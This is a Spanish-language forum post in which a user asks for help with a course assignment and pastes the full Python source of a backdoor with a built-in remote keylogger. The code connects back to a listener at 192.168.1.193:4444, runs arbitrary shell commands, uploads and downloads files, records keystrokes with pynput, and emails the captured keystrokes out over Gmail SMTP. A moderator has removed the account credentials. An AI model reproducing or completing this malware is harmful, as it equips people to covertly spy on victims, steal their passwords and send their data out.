Keylogger remoto python AYUDA

Iniciado por R3fr4kt, Agosto 26, 2021, 01:16:03 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Agosto 26, 2021, 01:16:03 PM Ultima modificación: Octubre 14, 2021, 12:27:24 PM por blackdrake
Buenas a todos!
Me estoy volviendo un poco loco con esta tarea que me han mandado en el curso...
Os cuento:
Tengo que implementar un keylogger remoto dentro de una backdoor y debe de tener un método para inicarse,otro para detenerse,otro para descargar lo capturado y por último otro para enviar un correo con la captura...
El problema es que una vez que tecleo la palabra clave para invocar al mètodo desde la màquina listener ,se me para....
Alguien me podría ayudar
Aqui os dejo el código
Código: python

import socket
import subprocess
import json
import os
import base64
import smtplib
import datetime
from pynput import keyboard
import threading


log = ""
listener = ""

class Backdoor:
    def __init__(self,ip,port):
        self.connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.connection.connect(("192.168.1.193",4444))
        self.connection.send("\n [+] Conexión establecida \n".encode())
   
    def envio_seguro(self,datos):
        json_data = json.dumps(datos)
        self.connection.send(json_data.encode())

    def recepcion_segura(self):
        json_data = ""
        while True:
            try:
                json_data = self.connection.recv(1024)
                return json.loads(json_data.decode("utf-8"))
            except ValueError:
                continue

    def cambiar_directorio(self,ruta):
        os.chdir(ruta)
        return("Cambiando de directorio ".encode())

    def entrar_directorio(self,ruta):
        os.chdir(ruta)
        return("Entrando en directorio {}".format(ruta).encode())


    def ejecutar_comando(self,comando):
        return subprocess.check_output(comando,shell=True)

    def leer_archivo(self,ruta):
        with open(ruta,"rb") as file:
            return base64.b64encode(file.read())
   
    def subir_archivo(self,archivo,contenido):
        with open(archivo,"wb") as file:
            file.write(base64.b64decode(contenido))
            return "[+] ¡Archivo subido!"

    def crear_carpeta(self,comando):
        os.mkdir(comando)
        return "[+] ¡Carpeta creada!"

    def captura(self,key):
        global log
        file = open("captura.txt","r+")
        tecla = str(key)
        if tecla == 'Key.space':
            tecla = " "
        elif tecla == 'Key.enter':
            tecla = "\n"
        elif tecla == 'Key.backspace':
            tecla = "%BORRAR%"
        else:
            tecla = tecla.replace("'","")
        log = log + tecla
        file.write(log)
       
       
    def descargar_captura(self,contenido):
        d = datetime.datetime.now()
        with open("captura{}.txt".format(d),contenido) as file:
            file.read()
            return "[+] Captura descargada".encode()


    def enviar_mail(self,contenido):
        d = datetime.datetime.now()
        f = open("captura{}.txt".format(d),contenido)
        mensaje = f.read()
        server = smtplib.SMTP("smtp.gmail.com",587)
        server.starttls()
        server.login("[email protected]","XXXXXXX")
        server.sendmail("[email protected]","[email protected]",mensaje)
        server.quit()
        return "Correo enviado".encode()

    def iniciar_captura(self):
        global listener
        listener = keyboard.Listener(self.captura)
        listener.start()
        while listener.is_alive():
            pass
   


    def run(self):           
        while True:
            comando = self.recepcion_segura()
            if comando[0] == "salir":
                self.connection.close()
                exit()
            elif comando[0] == "cd" and comando [1] == "..":
                resultado_comando = self.cambiar_directorio(comando[1])
            elif comando[0] == "cd" and len(comando[1]) > 2:
                resultado_comando = self.entrar_directorio(comando[1])
            elif comando[0] == "descargar":
                resultado_comando = self.leer_archivo(comando[1])
            elif comando[0] == "subir":
                resultado_comando = self.subir_archivo(comando[1],comando[2])
            elif comando[0] == "carpeta":
                resultado_comando = self.crear_carpeta(comando[1])
            elif comando[0] == "start":
                t = threading.Thread(target=self.iniciar_captura)
                t.start()
                return "[+] Keylogger iniciado"
            elif comando[0] == "stop":
                listener.stop()
                return "[-] Keylogger Detenido"
            elif comando[0] == "descargar_captura":
                resultado_comando = self.descargar_captura()
            elif comando[0] == "mail":
                resultado_comando = self.enviar_mail()
            else:
                resultado_comando = self.ejecutar_comando(comando)
       
            self.envio_seguro(resultado_comando.decode("utf-8"))

   
        connection.close()

backdoor = Backdoor("192.168.1.193",4444)
backdoor.run()



Edit by @blackdrake: Borrados los datos (email y password) de gmail